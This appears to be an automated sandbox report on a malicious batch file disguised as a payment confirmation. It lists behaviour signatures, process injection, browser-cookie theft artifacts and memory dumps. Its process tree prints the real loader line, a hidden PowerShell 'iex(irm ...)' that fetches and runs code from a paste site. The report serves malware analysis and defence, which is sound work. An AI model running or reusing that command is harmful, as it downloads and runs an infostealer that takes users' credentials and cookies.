Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 06:18
General
- Target PAYMENT_CONFIRMATION092384567.bat
- Size 10KB
- Sample260423-g2we6ads5t
- SHA256 f706f7d1114d89368d84019c05a01e504ab0ffc15a5d367facc27fc9dfdd2592
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 1 IoCs
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PAYMENT_CONFIRMATION092384567.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h iex(irm https://pastee.dev/r/6KSKqogr)2⤵
- Badlisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5en0yxac\5en0yxac.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE33C.tmp" "c:\Users\Admin\AppData\Local\Temp\5en0yxac\CSC87F4C23C91F7461BB49CD3BFD21A306E.TMP"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\xfqckcxjomumyhnfae.exe"C:\Users\Admin\AppData\Local\Temp\xfqckcxjomumyhnfae.exe" "C:\Users\Admin\AppData\Local\Temp\kbwvltyhcagtjajghjasnffxp"3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\charmap.exeC:\Windows\System32\charmap.exe4⤵
- Downloads MZ/PE file
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Cryptography' -Name MachineGuid).MachineGuid"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\svchost.exe"C:\Windows\System32\svchost.exe" all --output-path "C:\Users\Admin\AppData\Local\Temp\recovery_1776925226"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"6⤵
-
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
5en0yxac.dll
RESE33C.tmp
__PSScriptPolicyTest_5qfqob0t.xig.ps1
hmoyxkaneznqzwzvtjnnfyjbmqlidg
kbwvltyhcagtjajghjasnffxp
cookies.json
cookies.json
xfqckcxjomumyhnfae.exe
5en0yxac.0.cs
5en0yxac.cmdline
CSC87F4C23C91F7461BB49CD3BFD21A306E.TMP
memory/4264-27-0x00000154B02F0000-0x00000154B0300000-memory.dmp
memory/4264-32-0x00000154B0780000-0x00000154B08C4000-memory.dmp
memory/4264-26-0x00000154B02E0000-0x00000154B02E8000-memory.dmp
memory/4264-46-0x00000154B0780000-0x00000154B08C4000-memory.dmp
memory/4264-11-0x00000154B0910000-0x00000154B0AD2000-memory.dmp
memory/4264-10-0x00000154B0240000-0x00000154B0262000-memory.dmp
memory/4264-2-0x00000154B02F0000-0x00000154B0300000-memory.dmp
memory/4264-44-0x0000015497EE0000-0x0000015497EEC000-memory.dmp
memory/4264-45-0x00000154B0270000-0x00000154B02DB000-memory.dmp
memory/4712-52-0x000001A8A9580000-0x000001A8AC2E3000-memory.dmp
memory/4712-40-0x0000000140000000-0x000000014001B000-memory.dmp
memory/4712-43-0x0000000140000000-0x000000014001B000-memory.dmp
memory/4712-48-0x000001A8A2F00000-0x000001A8A2F22000-memory.dmp
memory/4712-49-0x000001A8A9580000-0x000001A8AC2E3000-memory.dmp
memory/4712-51-0x000001A8A9580000-0x000001A8AC2E3000-memory.dmp
memory/4712-41-0x000001A8A4AB0000-0x000001A8A4ED0000-memory.dmp
memory/4712-50-0x000001A8A9580000-0x000001A8AC2E3000-memory.dmp
memory/4712-47-0x000001A8A9580000-0x000001A8AC2E3000-memory.dmp
memory/4712-91-0x000001A8A31D0000-0x000001A8A323B000-memory.dmp
memory/4712-53-0x000001A8A9580000-0x000001A8AC2E3000-memory.dmp
memory/4712-39-0x000001A8A2F00000-0x000001A8A2F22000-memory.dmp
memory/4712-103-0x000001A8A31D0000-0x000001A8A323B000-memory.dmp
memory/4712-66-0x000001A8A31D0000-0x000001A8A323B000-memory.dmp
memory/5020-42-0x000001A4DDC70000-0x000001A4DDCDB000-memory.dmp
memory/5228-21-0x000001A4E9F80000-0x000001A4E9F8C000-memory.dmp
memory/5732-24-0x000002CF57200000-0x000002CF5720C000-memory.dmp
memory/5952-65-0x0000024C3D1D0000-0x0000024C3D23B000-memory.dmp
memory/5952-64-0x0000024C232D0000-0x0000024C232DC000-memory.dmp
memory/6072-78-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-79-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-77-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-76-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-75-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-74-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-73-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-72-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-70-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-69-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-71-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-84-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-80-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-81-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-68-0x0000000140000000-0x0000000140167000-memory.dmp
memory/6072-67-0x0000000140000000-0x0000000140167000-memory.dmp